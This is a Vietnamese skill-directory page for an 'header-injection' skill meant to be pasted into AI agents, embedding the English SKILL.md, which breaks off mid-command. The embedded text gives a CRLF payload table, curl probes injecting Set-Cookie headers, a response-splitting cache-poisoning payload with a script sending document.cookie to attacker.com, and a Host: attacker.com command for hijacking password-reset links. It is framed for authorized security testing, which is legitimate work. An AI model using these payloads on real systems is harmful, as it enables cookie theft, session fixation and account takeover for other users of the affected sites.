Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14064

header-injection

Skill này làm gì

Skill này giải thích cách đầu vào của người dùng có thể được đặt vào header HTTP và dùng để thay đổi phản hồi hoặc cache. Dành cho người kiểm thử bảo mật kiểm tra cách xử lý header và liên kết đặt lại.

Khi nào nên dùng

  • ✓Khi một trang sao chép đầu vào của người dùng vào header chuyển hướng, cookie hoặc tải xuống và bạn muốn kiểm tra.
  • ✓Khi một liên kết đặt lại mật khẩu dường như được tạo từ tên máy chủ trong yêu cầu.
  • ✓Khi bạn cần kiểm tra xem hệ thống cache có xử lý một số header một cách không an toàn không.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem email đặt lại mật khẩu của tôi có thể bị thay đổi bằng cách gửi một Host header khác không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent gửi yêu cầu có ký tự xuống dòng và các header host hoặc chuyển tiếp đã bị thay đổi, rồi kiểm tra xem máy chủ có trả về header mới hay tạo liên kết từ đầu vào không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

HTTP Header Injection

Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.

Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.

Attack Surface

  • Query/body/path parameters echoed into Location, Set-Cookie, Content-Type, Content-Disposition, Link, or custom X-* headers
  • Request headers re-reflected into responses: Referer, User-Agent, X-Forwarded-Host, correlation IDs
  • Password-reset / account-recovery flows where the reset link is built from the Host header
  • OAuth/SSO redirect flows where Location is derived from user input
  • CDN/reverse-proxy stacks where X-Forwarded-Host or X-Forwarded-Proto is echoed into canonical URLs
  • Content-Disposition: attachment; filename=<user_input> file-download endpoints
  • Outbound email headers populated from user-supplied fields (To/From/Subject)

CR/LF Injection Payload Set

These are the characters and encodings to inject. Try each until one survives to the response header:

Encoding Value Notes
URL bare LF %0a Most permissive servers
URL bare CR %0d Rarely effective alone
URL CRLF %0d%0a Classic; many filters strip this
Double-encoded %250d%250a Bypasses single-decode WAFs
Tab %09 RFC 7230 permits tab in field values; some parsers fold into preceding header
Null byte %00 Truncates value in some C-based parsers
Unicode LS/PS %e2%80%a8 / %e2%80%a9 U+2028/U+2029; some intermediaries fold to LF
Overlong UTF-8 CR %c0%8d Invalid per spec but accepted by some older parsers

CRLF Response Splitting

Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.

Detection

TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
  | grep -iE "^< (set-cookie|location|http)"

# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
  | grep -i "x-injected"

Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.

Exploitation: Inject Arbitrary Cookie

PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"

If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.

Exploitation: Response Splitting for Cache Poisoning

# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"

Host Header Poisoning

The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.

Password Reset Link Hijacking

The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.

# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
  -H "Host: attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"vi
Câu hỏi thường gặp

Vì sao skill nhắc đến cache poisoning?

Skill lưu ý rằng một số header thay đổi phản hồi nhưng không nằm trong cache key, nên một phản hồi xấu có thể được gửi cho những người dùng khác.

Skill có bao gồm tên file tải xuống không?

Có. Nó bao gồm header Content-Disposition, dùng để đặt tên file khi tải xuống.

Đây có phải chỉ để kiểm thử không?

Đây là để kiểm thử bảo mật, và skill nói rằng chỉ nên dùng trên hệ thống mà bạn được ủy quyền đánh giá.

Chi tiết

Mô tả gốc của tác giả

HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14064
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự